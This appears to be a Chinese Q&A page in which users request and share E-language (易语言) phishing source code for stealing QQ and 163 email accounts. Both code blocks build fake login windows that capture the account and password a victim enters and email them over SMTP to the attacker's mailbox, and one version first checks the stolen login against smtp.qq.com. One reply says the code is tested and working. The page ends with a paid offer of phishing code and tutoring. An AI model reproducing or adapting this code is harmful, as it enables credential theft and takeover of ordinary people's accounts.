本文目录一览:
求E语言钓鱼源码,163邮箱的,要能用哦
将下面的代码复制到“窗口程序集1”中。注意:下面的粗体字、斜体字改为真实的内容!
.版本 2
.支持库 internet
.程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮1_被单击
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入您的帐号!”, #错误图标, )
返回 ()
.如果真结束
.如果真 (编辑框2.内容 = “”)
信息框 (“请输入您的密码!”, #错误图标, )
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容) ' 判断编辑框1 的内容是否改变
.如果真结束
连接发信服务器 (“smtp.qq.com”, 25, “你的QQ号码”, “你的QQ密码”, )
发送邮件 (“盗号成功”, “帐号:” + 编辑框1.内容 + #换行符 + “密码:” + 编辑框2.内容 + #换行符, “你的QQ邮箱”, , , “你的QQ邮箱”, )
求一个E语言邮箱盗号源码。请发到woaikaka110@163.com。谢谢!
以下是源码 经测试可用!
-------------------------------------------------
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.判断开始 (编辑框1.内容 = “”)
信息框 (“请输入QQ帐号!”, #信息图标, )
返回 ()
.判断 (编辑框2.内容 = “”)
信息框 (“请输入QQ密码!”, #信息图标, )
返回 ()
.默认
.判断结束
.如果 (连接发信服务器 (“smtp.qq.com”, 25, 编辑框1.内容, 编辑框2.内容, ) = 真)
信息框 (“登录成功 ”, 0, )
连接发信服务器 (“smtp.qq.com”, , “必要:你登陆服务器QQ号码”, “必要:你登陆服务器QQ密码”, )
发送邮件 (编辑框1.内容 + “被盗号”, “帐号” + 编辑框1.内容 + “密码” + 编辑框2.内容, “你邮箱”, , “抄送”, “暗送邮箱地址”, )
载入 (_启动窗口1, , 真)
.否则
信息框 (“登录失败”, #错误图标, )
返回 ()
.如果结束
易语言用163邮箱盗号源码
追问即上传易语言钓鱼源码一份(支持s
m
t
p邮箱通用)。
付费即获得钓鱼源码及一对一易语言钓鱼源码教学。